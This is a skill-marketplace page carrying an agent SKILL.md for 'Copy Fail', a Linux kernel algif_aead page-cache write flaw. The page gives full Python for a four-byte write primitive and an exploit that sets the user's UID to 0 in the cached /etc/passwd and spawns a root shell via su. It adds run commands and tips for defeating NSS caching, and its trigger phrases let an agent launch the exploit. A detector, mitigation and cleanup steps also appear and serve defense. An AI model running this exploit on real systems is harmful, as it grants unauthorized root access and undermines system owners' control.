Skip to main content

cve-2026-31431-copy-fail

Detector and proof-of-concept LPE toolkit for CVE-2026-31431 ("Copy Fail"), a Linux kernel algif_aead page-cache scratch-write vulnerability enabling local privilege escalation.

インストールへ移動

ソース情報

リポジトリ
reason-machines/trending-skills
ソースの最終更新活動
2026年4月30日 21:27
検出された SKILL.md の言語
英語
スター
80
フォーク
15

インストール方法

デフォルトでは、最初にソースを確認する Prompt が選択されています。直接コマンドに切り替えるか、ローカルコピーをダウンロードすることもできます。

ソースファイルを確認

インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。

SKILL.md を表示中

SKILL.md
ソースの指示 · 読み取り専用プレビュー
name
cve-2026-31431-copy-fail
description
Detector and proof-of-concept LPE toolkit for CVE-2026-31431 ("Copy Fail"), a Linux kernel algif_aead page-cache scratch-write vulnerability enabling local privilege escalation.
triggers
["detect CVE-2026-31431","check if system is vulnerable to Copy Fail","run the algif_aead exploit detector","test for page cache corruption vulnerability","CVE-2026-31431 proof of concept","check Linux kernel AEAD splice vulnerability","mitigate algif_aead page cache bug","Copy Fail Linux privilege escalation"]
# CVE-2026-31431 ("Copy Fail") Toolkit > Skill by [ara.so](https://ara.so) — Daily 2026 Skills collection. A Python toolkit for detecting and demonstrating CVE-2026-31431, a Linux kernel vulnerability where `algif_aead` with `authencesn(hmac(sha256),cbc(aes))` performs an in-place AEAD operation via `splice()`, writing into page-cache pages of regular files — enabling an unprivileged user to corrupt the kernel's in-memory view of `/etc/passwd` or other world-readable files for local privilege escalation. **Authorization notice:** Use only on systems you own or are explicitly engaged to assess. Running this on unauthorized systems is illegal in most jurisdictions. ## Affected Systems - Linux kernels carrying commit `72548b093ee3` (in-place AEAD, 2017) without the upstream revert - Confirmed affected: Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 14.3, SUSE 16 ## Installation No installation required. Pure Python 3.10+ stdlib — clone and run directly. ```sh git clone https://github.com/rootsecdev/cve_2026_31431.git cd cve_2026_31431 python3 --version # requires 3.10+ ``` ## Files | File | Purpose | |------|---------| | `test_cve_2026_31431.py` | Non-destructive detector; operates only on a temp sentinel file | | `exploit_cve_2026_31431.py` | LPE; flips UID to 0 in `/etc/passwd` page cache, then invokes `su` | ## Key Commands ### Detector ```sh python3 test_cve_2026_31431.py ``` Exit codes: - `0` — Not vulnerable (precondition not met or page cache intact) - `1` — Test error - `2` — **Vulnerable** (marker landed in spliced page) ### Exploit ```sh # Patch /etc/passwd page cache only (dry-run, auto-reverts on exit) python3 exploit_cve_2026_31431.py # Patch and spawn root shell via su python3 exploit_cve_2026_31431.py --shell ``` ## How the Vulnerability Works ``` sendmsg([8-byte AAD], cmsg=[ALG_SET_OP=DECRYPT, ALG_SET_IV, ALG_SET_AEAD_ASSOCLEN=8], flags=MSG_MORE) splice(target_fd, pipe_w, 32, offset_src=file_offset) splice(pipe_r, op_fd, 32) recv(op_fd) # returns EBADMSG; scratch write has already landed ``` The `authencesn` algorithm writes bytes 4–7 of the AAD (`seqno_lo`) into the destination scatterlist. When `splice()` is used, that destination is the page-cache page of the source file. The on-disk file is **never modified**. ## Core Detection Logic (from `test_cve_2026_31431.py`) ```python import os, socket, struct, tempfile, ctypes MARKER = b'PWND' ALG_SET_KEY = 1 ALG_SET_IV = 2 ALG_SET_OP = 3 ALG_SET_AEAD_ASSOCLEN = 4 def check_preconditions(): """Verify AF_ALG and authencesn algorithm are reachable.""" try: sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0) sock.bind({ 'type': 'aead', 'name': 'authencesn(hmac(sha256),cbc(aes))', 'feat': 0, 'mask': 0, }) sock.close() return True except (OSError, AttributeError): return False def write4(target_path, file_offset, payload_4bytes): """ Write exactly 4 bytes into the page cache of target_path at file_offset using the algif_aead splice path. The auth check will fail (EBADMSG) but the scratch write fires regardless. """ assert len(payload_4bytes) == 4 # Build a 256-bit AES key + 256-bit HMAC-SHA256 key (arbitrary for PoC) aes_key = bytes(32) hmac_key = bytes(32) key = hmac_key + aes_key # authencesn key layout # Create AF_ALG socket bound to the vulnerable algorithm alg_sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0) alg_sock.bind({ 'type': 'aead', 'name': 'authencesn(hmac(sha256),cbc(aes))', 'feat': 0, 'mask': 0, 'authsize': 32, }) alg_sock.setsockopt(socket.SOL_ALG, ALG_SET_KEY, key) op_fd, _ = alg_sock.accept() # 8-byte AAD: bytes 0-3 = seqno_hi (ignored), bytes 4-7 = seqno_lo (WRITTEN) aad = bytes(4) + payload_4bytes # seqno_lo = our 4-byte payload # Send AAD inline via sendmsg with control messages iv = bytes(16) # CBC IV cmsg = [ (socket.SOL_ALG, ALG_SET_OP, struct.pack('I', 0)), # DECRYPT=0 (socket.SOL_ALG, ALG_SET_IV, struct.pack('II', 16, 0) + iv), (socket.SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack('I', 8)), ] op_fd.sendmsg([aad], cmsg, socket.MSG_MORE) # splice the target file's page-cache page into the op socket pipe_r, pipe_w = os.pipe() target_fd = os.open(target_path, os.O_RDONLY) os.splice(target_fd, pipe_w, 32, offset_src=file_offset) os.splice(pipe_r, op_fd, 32) # Drive the decryption — EBADMSG expected; scratch write already fired try: op_fd.recv(64) except OSError: pass # EBADMSG is expected os.close(pipe_r) os.close(pipe_w) os.close(target_fd) op_fd.close() alg_sock.close() def detect(): if not check_preconditions(): print("Precondition not met — AF_ALG or authencesn unavailable") return 0 with tempfile.NamedTemporaryFile(delete=False) as f: sentinel_path = f.name f.write(b'\x00' * 4096) try: # Populate page cache with open(sentinel_path, 'rb') as f: f.read() write4(sentinel_path, 0, MARKER) # Read back from page cache with open(sentinel_path, 'rb') as f: data = f.read(16) if MARKER in data: print("VULNERABLE to CVE-2026-31431") return 2 elif data != b'\x00' * 16: print("Page cache MODIFIED via in-place AEAD splice path — treat as vulnerable") return 2 else: print("Page cache intact — not vulnerable") return 0 finally: os.unlink(sentinel_path) if __name__ == '__main__': raise SystemExit(detect()) ``` ## LPE Pattern (from `exploit_cve_2026_31431.py`) ```python import os, pwd, subprocess def find_uid_offset(username): """Find the byte offset of the UID field in /etc/passwd for username.""" with open('/etc/passwd', 'rb') as f: content = f.read() for line in content.split(b'\n'): if line.startswith(username.encode() + b':'): fields = line.split(b':') # fields[2] is the UID offset = content.index(line) + sum(len(f) + 1 for f in fields[:2]) uid_field = fields[2] return offset, uid_field raise ValueError(f"User {username!r} not found in /etc/passwd") def exploit(username, spawn_shell=False): uid_offset, uid_field = find_uid_offset(username) if len(uid_field) != 4: raise ValueError( f"UID {uid_field.decode()!r} is not 4 digits — " "1-3 digit UIDs require multi-shot writes" ) print(f"[*] Patching UID at offset {uid_offset} in /etc/passwd page cache...") write4('/etc/passwd', uid_offset, b'0000') # Verify libc now reports UID 0 entry = pwd.getpwnam(username) if entry.pw_uid != 0: print("[!] getpwnam still returns original UID — NSS cache may be active") print(" Try: sudo systemctl stop nscd sssd systemd-userdbd") return print(f"[+] /etc/passwd page cache patched — {username} now appears as UID 0") if spawn_shell: print(f"[*] Spawning root shell via: su {username}") print("[*] Enter your own password at the prompt") os.execvp('su', ['su', username]) else: print("[*] Dry-run complete. Page cache will be evicted on exit.") # Auto-evict corrupted page on exit fd = os.open('/etc/passwd', os.O_RDONLY) os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED) os.close(fd) if __name__ == '__main__': import sys username = os.environ.get('USER') or os.getlogin() spawn_shell = '--shell' in sys.argv exploit(username, spawn_shell) ``` ## Requirements for LPE - Running user has a **4-digit UID** (1000–9999) - No NSS caching daemon masking `/etc/passwd` reads (`nscd`, `sssd`, `systemd-userdbd`) - `/etc/passwd` page remains in cache between patch and `su` exec ## Reverting Page Cache Corruption The on-disk `/etc/passwd` is **never modified**. To restore normal UID resolution: ```sh # From unprivileged user — evict corrupted page: python3 -c " import os fd = os.open('/etc/passwd', os.O_RDONLY) os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED) os.close(fd) " # From root shell — drop all page caches: echo 3 > /proc/sys/vm/drop_caches # Or simply reboot ``` ## Mitigation ```sh # Disable algif_aead module permanently sudo tee /etc/modprobe.d/disable-algif-aead.conf <<< 'install algif_aead /bin/false' # Unload if currently loaded sudo rmmod algif_aead 2>/dev/null # Verify — detector should now report "Precondition not met" python3 test_cve_2026_31431.py ``` ## Troubleshooting | Symptom | Cause | Fix | |---------|-------|-----| | `OSError: [Errno 93] Protocol not supported` | `AF_ALG` not available | Kernel too old or CONFIG_CRYPTO_USER_API_AEAD not set | | `OSError: [Errno 2] No such file or directory` (bind) | `algif_aead` module not loaded | `sudo modprobe algif_aead` or apply mitigation | | `getpwnam` returns original UID after patch | NSS cache active | Stop `nscd`/`sssd`/`systemd-userdbd` | | Detector exits 0 on known-vulnerable kernel | Page evicted before re-read | Ensure no memory pressure; retry immediately | | Multi-digit UID < 1000 | `write4` writes exactly 4 bytes | Pad UID field manually or extend `write4` for multi-shot | ## References - Disclosure writeup: <https://xint.io/blog/copy-fail-linux-distributions> - CVE: CVE-2026-31431 - Upstream fix: revert in-place AEAD to out-of-place, keeping page-cache pages out of writable scatterlists
GitHubで見る